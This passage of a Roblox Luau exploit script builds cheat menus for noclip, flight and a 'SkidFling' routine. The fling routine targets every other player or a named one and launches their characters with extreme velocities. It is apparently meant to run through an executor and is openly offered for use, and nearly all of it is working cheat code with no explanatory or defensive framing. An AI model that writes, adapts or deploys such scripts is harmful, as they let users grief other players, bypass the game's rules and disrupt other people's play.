	title.Size = UDim2.new(1, 0, 0, 30)
	
	title.Position = UDim2.new(0, 0, 0, 0)
	
	title.Text = "NOCLIP PRO v2"
	
	title.TextColor3 = Color3.fromRGB(255, 0, 0)
	
	title.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
	
	title.TextSize = 14
	
	title.Parent = mainFrame
	
	
	
	local toggleBtn = Instance.new("TextButton")
	
	toggleBtn.Size = UDim2.new(0, 200, 0, 40)
	
	toggleBtn.Position = UDim2.new(0, 10, 0, 40)
	
	toggleBtn.Text = "NOCLIP: OFF"
	
	toggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
	
	toggleBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
	
	toggleBtn.Parent = mainFrame
	
	
	
	local hideBtn = Instance.new("TextButton")
	
	hideBtn.Size = UDim2.new(0, 60, 0, 25)
	
	hideBtn.Position = UDim2.new(0, 10, 0, 90)
	
	hideBtn.Text = "HIDE"
	
	hideBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
	
	hideBtn.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
	
	hideBtn.Parent = mainFrame
	
	
	
	local exitBtn = Instance.new("TextButton")
	
	exitBtn.Size = UDim2.new(0, 60, 0, 25)
	
	exitBtn.Position = UDim2.new(0, 80, 0, 90)
	
	exitBtn.Text = "EXIT"
	
	exitBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
	
	exitBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
	
	exitBtn.Parent = mainFrame
	
	
	
	local miniBtn = Instance.new("TextButton")
	
	miniBtn.Size = UDim2.new(0, 50, 0, 50)
	
	miniBtn.Position = UDim2.new(0, 150, 0, 90)
	
	miniBtn.Text = "MINI"
	
	miniBtn.TextColor3 = Color3.fromRGB(255, 0, 0)
	
	miniBtn.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
	
	miniBtn.Visible = false
	
	miniBtn.Active = true
	
	miniBtn.Draggable = true
	
	miniBtn.Parent = screenGui
	
	
	
	local noclip = false
	
	local connection
	
	
	
	local function setNoclip(state)
	
	    noclip = state
	
	    if noclip then
	
	        toggleBtn.Text = "NOCLIP: ON"
	
	        toggleBtn.BackgroundColor3 = Color3.fromRGB(0, 120, 0)
	
	    else
	
	        toggleBtn.Text = "NOCLIP: OFF"
	
	        toggleBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
	
	    end
	
	end
	
	
	
	connection = RunService.Stepped:Connect(function()
	
	    if noclip and player.Character then
	
	        for _, part in pairs(player.Character:GetDescendants()) do
	
	            if part:IsA("BasePart") and part.CanCollide then
	
	                part.CanCollide = false
	
	            end
	
	        end
	
	    end
	
	end)
	
	
	
	toggleBtn.MouseButton1Click:Connect(function()
	
	    setNoclip(not noclip)
	
	end)
	
	
	
	hideBtn.MouseButton1Click:Connect(function()
	
	    mainFrame.Visible = false
	
	    miniBtn.Visible = true
	
	end)
	
	
	
	miniBtn.MouseButton1Click:Connect(function()
	
	    mainFrame.Visible = true
	
	    miniBtn.Visible = false
	
	end)
	
	
	
	exitBtn.MouseButton1Click:Connect(function()
	
	    connection:Disconnect()
	
	    screenGui:Destroy()
	
	end)
	
	
	
	UserInputService.InputBegan:Connect(function(input)
	
	    if input.KeyCode == Enum.KeyCode.F then
	
	        setNoclip(not noclip)
	
	    end
	
	end)	
	end)
	
	
end;
task.spawn(C_7);
local function C_9()
	local script = LMG2L["LocalScript_9"];
	local button = script.Parent
	
	
	
	button.MouseButton1Click:Connect(function()
	
		print("Button clicked!")
	
	
	
	local Targets = {"All"} -- "All", "Target Name", "arian_was_here"
	
	
	
	local Players = game:GetService("Players")
	
	local Player = Players.LocalPlayer
	
	
	
	local AllBool = false
	
	
	
	local GetPlayer = function(Name)
	
	    Name = Name:lower()
	
	    if Name == "all" or Name == "others" then
	
	        AllBool = true
	
	        return
	
	    elseif Name == "random" then
	
	        local GetPlayers = Players:GetPlayers()
	
	        if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
	
	        return GetPlayers[math.random(#GetPlayers)]
	
	    elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
	
	        for _,x in next, Players:GetPlayers() do
	
	            if x ~= Player then
	
	                if x.Name:lower():match("^"..Name) then
	
	                    return x;
	
	                elseif x.DisplayName:lower():match("^"..Name) then
	
	                    return x;
	
	                end
	
	            end
	
	        end
	
	    else
	
	        return
	
	    end
	
	end
	
	
	
	local Message = function(_Title, _Text, Time)
	
	    game:GetService("StarterGui"):SetCore("SendNotification", {Title = _Title, Text = _Text, Duration = Time})
	
	end
	
	
	
	local SkidFling = function(TargetPlayer)
	
	    local Character = Player.Character
	
	    local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
	
	    local RootPart = Humanoid and Humanoid.RootPart
	
	
	
	    local TCharacter = TargetPlayer.Character
	
	    local THumanoid
	
	    local TRootPart
	
	    local THead
	
	    local Accessory
	
	    local Handle
	
	
	
	    if TCharacter:FindFirstChildOfClass("Humanoid") then
	
	        THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
	
	    end
	
	    if THumanoid and THumanoid.RootPart then
	
	        TRootPart = THumanoid.RootPart
	
	    end
	
	    if TCharacter:FindFirstChild("Head") then
	
	        THead = TCharacter.Head
	
	    end
	
	    if TCharacter:FindFirstChildOfClass("Accessory") then
	
	        Accessory = TCharacter:FindFirstChildOfClass("Accessory")
	
	    end
	
	    if Accessoy and Accessory:FindFirstChild("Handle") then
	
	        Handle = Accessory.Handle
	
	    end
	
	
	
	    if Character and Humanoid and RootPart then
	
	        if RootPart.Velocity.Magnitude < 50 then
	
	            getgenv().OldPos = RootPart.CFrame
	
	        end
	
	        if THumanoid and THumanoid.Sit and not AllBool then
	
	            return Message("Error Occurred", "Targeting is sitting", 5) -- u can remove dis part if u want lol
	
	        end
	
	        if THead then
	
	            workspace.CurrentCamera.CameraSubject = THead
	
	        elseif not THead and Handle then
	
	            workspace.CurrentCamera.CameraSubject = Handle
	
	        elseif THumanoid and TRootPart then
	
	            workspace.CurrentCamera.CameraSubject = THumanoid
	
	        end
	
	        if not TCharacter:FindFirstChildWhichIsA("BasePart") then
	
	            return
	
	        end
	
	        
	
	        local FPos = function(BasePart, Pos, Ang)
	
	            RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
	
	            Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
	
	            RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
	
	            RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
	
	        end
	
	        
	
	        local SFBasePart = function(BasePart)
	
	            local TimeToWait = 2
	
	            local Time = tick()
	
	            local Angle = 0
	
	
	
	            repeat
	
	                if RootPart and THumanoid then
	
	                    if BasePart.Velocity.Magnitude < 50 then
	
	                        Angle = Angle + 100
	
	
	
	                        FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
	
	                        task.wait()
	
	                    else
	
	                        FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
	
	                        task.wait()
	
	                        
	
	                        FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
	
	                        task.wait()
	
	
	
	                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
	
	                        task.wait()
	
	                    end
	
	                else
	
	                    break
	
	                end
	
	            until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
	
	        end
	
	        
	
	        workspace.FallenPartsDestroyHeight = 0/0
	
	        
	
	        local BV = Instance.new("BodyVelocity")
	
	        BV.Name = "EpixVel"
	
	        BV.Parent = RootPart
	
	        BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
	
	        BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
	
	        
	
	        Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
	
	        
	
	        if TRootPart and THead then
	
	            if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
	
	                SFBasePart(THead)
	
	            else
	
	                SFBasePart(TRootPart)
	
	            end
	
	        elseif TRootPart and not THead then
	
	            SFBasePart(TRootPart)
	
	        elseif not TRootPart and THead then
	
	            SFBasePart(THead)
	
	        elseif not TRootPart and not THead and Accessory and Handle then
	
	            SFBasePart(Handle)
	
	        else
	
	            return Message("Error Occurred", "Target is missing everything", 5)
	
	        end
	
	        
	
	        BV:Destroy()
	
	        Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
	
	        workspace.CurrentCamera.CameraSubject = Humanoid
	
	        
	
	        repeat
	
	            RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
	
	            Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
	
	            Humanoid:ChangeState("GettingUp")
	
	            table.foreach(Character:GetChildren(), function(_, x)
	
	                if x:IsA("BasePart") then
	
	                    x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
	
	                end
	
	            end)
	
	            task.wait()
	
	        until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
	
	        workspace.FallenPartsDestroyHeight = getgenv().FPDH
	
	    else
	
	        return Message("Error Occurred", "Random error", 5)
	
	    end
	
	end
	
	
	
	if not Welcome then Message("Script by AnthonyIsntHere", "Enjoy!", 5) end
	
	getgenv().Welcome = true
	
	if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
	
	
	
	if AllBool then
	
	    for _,x in next, Players:GetPlayers() do
	
	        SkidFling(x)
	
	    end
	
	end
	
	
	
	for _,x in next, Targets do
	
	    if GetPlayer(x) and GetPlayer(x) ~= Player then
	
	        if GetPlayer(x).UserId ~= 1414978355 then
	
	            local TPlayer = GetPlayer(x)
	
	            if TPlayer then
	
	                SkidFling(TPlayer)
	
	            end
	
	        else
	
	            Message("Error Occurred", "This user is whitelisted! (Owner)", 5)
	
	        end
	
	    elseif not GetPlayer(x) and not AllBool then
	
	        Message("Error Occurred", "Username Invalid", 5)
	
	    end
	
	end	
	end)
	
	
end;
task.spawn(C_9);
local function C_d()
	local script = LMG2L["LocalScript_d"];
	local button = script.Parent
	
	
	
	button.MouseButton1Click:Connect(function()
	
		print("Button clicked!")
	
	
	
	local main = Instance.new("ScreenGui")
	
	local Frame = Instance.new("Frame")
	
	local up = Instance.new("TextButton")
	
	local down = Instance.new("TextButton")
	
	local onof = Instance.new("TextButton")
	
	local TextLabel = Instance.new("TextLabel")
	
	local plus = Instance.new("TextButton")
	
	local speed = Instance.new("TextLabel")
	
	local mine = Instance.new("TextButton")
	
	local closebutton = Instance.new("TextButton")
	
	local mini = Instance.new("TextButton")
	
	local mini2 = Instance.new("TextButton")
	
	
	
	main.Name = "main"
	
	main.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
	
	main.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	
	main.ResetOnSpawn = false
	
	
	
	Frame.Parent = main
	
	Frame.BackgroundColor3 = Color3.fromRGB(163, 255, 137)
	
	Frame.BorderColor3 = Color3.fromRGB(103, 221, 213)
	
	Frame.Position = UDim2.new(0.100320168, 0, 0.379746825, 0)
	
	Frame.Size = UDim2.new(0, 190, 0, 57)
	
	
	
	up.Name = "up"
	
	up.Parent = Frame
	
	up.BackgroundColor3 = Color3.fromRGB(79, 255, 152)
	
	up.Size = UDim2.new(0, 44, 0, 28)
	
	up.Font = Enum.Font.SourceSans
	
	up.Text = "UP"
	
	up.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	up.TextSize = 14.000
	
	
	
	down.Name = "down"
	
	down.Parent = Frame
	
	down.BackgroundColor3 = Color3.fromRGB(215, 255, 121)
	
	down.Position = UDim2.new(0, 0, 0.491228074, 0)
	
	down.Size = UDim2.new(0, 44, 0, 28)
	
	down.Font = Enum.Font.SourceSans
	
	down.Text = "DOWN"
	
	down.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	down.TextSize = 14.000
	
	
	
	onof.Name = "onof"
	
	onof.Parent = Frame
	
	onof.BackgroundColor3 = Color3.fromRGB(255, 249, 74)
	
	onof.Position = UDim2.new(0.702823281, 0, 0.491228074, 0)
	
	onof.Size = UDim2.new(0, 56, 0, 28)
	
	onof.Font = Enum.Font.SourceSans
	
	onof.Text = "fly"
	
	onof.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	onof.TextSize = 14.000
	
	
	
	TextLabel.Parent = Frame
	
	TextLabel.BackgroundColor3 = Color3.fromRGB(242, 60, 255)
	
	TextLabel.Position = UDim2.new(0.469327301, 0, 0, 0)
	
	TextLabel.Size = UDim2.new(0, 100, 0, 28)
	
	TextLabel.Font = Enum.Font.SourceSans
	
	TextLabel.Text = "FLY GUI V3"
	
	TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	TextLabel.TextScaled = true
	
	TextLabel.TextSize = 14.000
	
	TextLabel.TextWrapped = true
	
	
	
	plus.Name = "plus"
	
	plus.Parent = Frame
	
	plus.BackgroundColor3 = Color3.fromRGB(133, 145, 255)
	
	plus.Position = UDim2.new(0.231578946, 0, 0, 0)
	
	plus.Size = UDim2.new(0, 45, 0, 28)
	
	plus.Font = Enum.Font.SourceSans
	
	plus.Text = "+"
	
	plus.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	plus.TextScaled = true
	
	plus.TextSize = 14.000
	
	plus.TextWrapped = true
	
	
	
	speed.Name = "speed"
	
	speed.Parent = Frame
	
	speed.BackgroundColor3 = Color3.fromRGB(255, 85, 0)
	
	speed.Position = UDim2.new(0.468421042, 0, 0.491228074, 0)
	
	speed.Size = UDim2.new(0, 44, 0, 28)
	
	speed.Font = Enum.Font.SourceSans
	
	speed.Text = "1"
	
	speed.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	speed.TextScaled = true
	
	speed.TextSize = 14.000
	
	speed.TextWrapped = true
	
	
	
	mine.Name = "mine"
	
	mine.Parent = Frame
	
	mine.BackgroundColor3 = Color3.fromRGB(123, 255, 247)
	
	mine.Position = UDim2.new(0.231578946, 0, 0.491228074, 0)
	
	mine.Size = UDim2.new(0, 45, 0, 29)
	
	mine.Font = Enum.Font.SourceSans
	
	mine.Text = "-"
	
	mine.TextColor3 = Color3.fromRGB(0, 0, 0)
	
	mine.TextScaled = true
	
	mine.TextSize = 14.000
	
	mine.TextWrapped = true
	
	
	
	closebutton.Name = "Close"
	
	closebutton.Parent = main.Frame
	
	closebutton.BackgroundColor3 = Color3.fromRGB(225, 25, 0)
	
	closebutton.Font = "SourceSans"
	
	closebutton.Size = UDim2.new(0, 45, 0, 28)
	
	closebutton.Text = "X"
	
	closebutton.TextSize = 30
	
	closebutton.Position =  UDim2.new(0, 0, -1, 27)
	
	
	
	mini.Name = "minimize"
	
	mini.Parent = main.Frame
	
	mini.BackgroundColor3 = Color3.fromRGB(192, 150, 230)
	
	mini.Font = "SourceSans"
	
	mini.Size = UDim2.new(0, 45, 0, 28)
	
	mini.Text = "-"
	
	mini.TextSize = 40
	
	mini.Position = UDim2.new(0, 44, -1, 27)
	
	
	
	mini2.Name = "minimize2"
	
	mini2.Parent = main.Frame
	
	mini2.BackgroundColor3 = Color3.fromRGB(192, 150, 230)
	
	mini2.Font = "SourceSans"
	
	mini2.Size = UDim2.new(0, 45, 0, 28)
	
	mini2.Text = "+"
	
	mini2.TextSize = 40
	
	mini2.Position = UDim2.new(0, 44, -1, 57)
	
	mini2.Visible = false
	
	
	
	speeds = 1
	
	
	
	local speaker = game:GetService("Players").LocalPlayer
	
	
	
	local chr = game.Players.LocalPlayer.Character
	
	local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
	
	
	
	nowe = false
	
	
	game:GetService("StarterGui"):SetCore("SendNotification", { 
	
		Title = "FLY GUI V3";
	
		Text = "BY XNEO";
	
		Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})
	
	Duration = 5;
	
	
	
	Frame.Active = true -- main = gui
	
	Frame.Draggable = true
	
	
	
	onof.MouseButton1Down:connect(function()
	
	
	
		if nowe == true then
	
			nowe = false
	
	
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
	
			speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
	
		else 
	
			nowe = true
	
	
	
	
	
	
	
			for i = 1, speeds do
	
				spawn(function()
	
	
	
					local hb = game:GetService("RunService").Heartbeat	
	
	
	
	
	
					tpwalking = true
	
					local chr = game.Players.LocalPlayer.Character
	
					local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
	
					while tpwalking and hb:Wait() and chr and hum and hum.Parent do
	
						if hum.MoveDirection.Magnitude > 0 then
	
							chr:TranslateBy(hum.MoveDirection)
	
						end
	
					end
	
	
	
				end)
	
			end
	
			game.Players.LocalPlayer.Character.Animate.Disabled = true
	
			local Char = game.Players.LocalPlayer.Character
	
			local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
	
	
	
			for i,v in next, Hum:GetPlayingAnimationTracks() do
	
				v:AdjustSpeed(0)
	
			end
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
	
			speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
	
			speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
	
		end
	
	
	
	
	
	
	
	
	
		if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
	
	
	
	
	
	
	
			local plr = game.Players.LocalPlayer
	
			local torso = plr.Character.Torso
	
			local flying = true
	
			local deb = true
	
			local ctrl = {f = 0, b = 0, l = 0, r = 0}
	
			local lastctrl = {f = 0, b = 0, l = 0, r = 0}
	
			local maxspeed = 50
	
			local speed = 0
	
	
	
	
	
			local bg = Instance.new("BodyGyro", torso)
	
			bg.P = 9e4
	
			bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
	
			bg.cframe = torso.CFrame
	
			local bv = Instance.new("BodyVelocity", torso)
	
			bv.velocity = Vector3.new(0,0.1,0)
	
			bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
	
			if nowe == true then
	
				plr.Character.Humanoid.PlatformStand = true
	
			end
	
			while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
	
				game:GetService("RunService").RenderStepped:Wait()
	
	
	
				if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
	
					speed = speed+.5+(speed/maxspeed)
	
					if speed > maxspeed then
	
						speed = maxspeed
	
					end
	
				elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
	
					speed = speed-1
	
					if speed < 0 then
	
						speed = 0
	
					end
	
				end
	
				if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
	
					bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
	
					lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
	
				elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
	
					bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
	
				else
	
					bv.velocity = Vector3.new(0,0,0)
	
				end
	
				--	game.Players.LocalPlayer.Character.Animate.Disabled = true
	
				bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
	
			end
	
			ctrl = {f = 0, b = 0, l = 0, r = 0}
	
			lastctrl = {f = 0, b = 0, l = 0, r = 0}
	
			speed = 0
	
			bg:Destroy()
	
			bv:Destroy()
	
			plr.Character.Humanoid.PlatformStand = false
	
			game.Players.LocalPlayer.Character.Animate.Disabled = false
	
			tpwalking = false
	
	
	
	
	
	
	
	
	
		else
	
			local plr = game.Players.LocalPlayer
	
			local UpperTorso = plr.Character.UpperTorso
	
			local flying = true
	
			local deb = true
	
			local ctrl = {f = 0, b = 0, l = 0, r = 0}
	
			local lastctrl = {f = 0, b = 0, l = 0, r = 0}
	
			local maxspeed = 50
	
			local speed = 0
	
	
	
	
	
			local bg = Instance.new("BodyGyro", UpperTorso)
	
			bg.P = 9e4
	
			bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
	
			bg.cframe = UpperTorso.CFrame
	
			local bv = Instance.new("BodyVelocity", UpperTorso)
	
			bv.velocity = Vector3.new(0,0.1,0)
	
			bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
	
			if nowe == true then
	
				plr.Character.Humanoid.PlatformStand = true
	
			end
	
			while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
	
				wait()
	
	
	
				if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
	
					speed = speed+.5+(speed/maxspeed)
	
					if speed > maxspeed then
	
						speed = maxspeed
	
					end
	
				elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
	
					speed = speed-1
	
					if speed < 0 then
	
						speed = 0
	
					end
	
				end
	
				if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
	
					bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
	
					lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
	
				elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
	
					bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
	
				else
	
					bv.velocity = Vector3.new(0,0,0)
	
				end
	
	
	
				bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
	
			end
	
			ctrl = {f = 0, b = 0, l = 0, r = 0}
	
			lastctrl = {f = 0, b = 0, l = 0, r = 0}
	
			speed = 0
	
			bg:Destroy()
	
			bv:Destroy()
	
			plr.Character.Humanoid.PlatformStand = false
	
			game.Players.LocalPlayer.Character.Animate.Disabled = false
	
			tpwalking = false
	
	
	
	
	
	
	
		end
	
	
	
	
	
	
	
	
	
	
	
	end)
	
	
	
	local tis
	
	
	
	up.MouseButton1Down:connect(function()
	
		tis = up.MouseEnter:connect(function()
	
			while tis do
	
				wait()
	
				game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,1,0)
	
			end
	
		end)
	
	end)
	
	
	
	up.MouseLeave:connect(function()
	
		if tis then
	
			tis:Disconnect()
	
			tis = nil
	
		end
	
	end)
	
	
	
	local dis
	
	
	
	down.MouseButton1Down:connect(function()
	
		dis = down.MouseEnter:connect(function()
	
			while dis do
	
				wait()
	
				game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0,-1,0)
	
			end
	
		end)
	
	end)
	
	
	
	down.MouseLeave:connect(function()
	
		if dis then
	
			dis:Disconnect()
	
			dis = nil
	
		end
	
	end)
	
	
	
	
	
	game:GetService("Players").LocalPlayer.CharacterAdded:Connect(function(char)
	
		wait(0.7)
	
		game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
	
		game.Players.LocalPlayer.Character.Animate.Disabled = false
	
	
	
	end)
	
	
	
	
	
	plus.MouseButton1Down:connect(function()
	
		speeds = speeds + 1
	
		speed.Text = speeds
	
		if nowe == true then
	
	
	
	
	
			tpwalking = false
	
			for i = 1, speeds do
	
				spawn(function()
	
	
	
					local hb = game:GetService("RunService").Heartbeat	
	
	
	
	
	
					tpwalking = true
	
					local chr = game.Players.LocalPlayer.Character
	
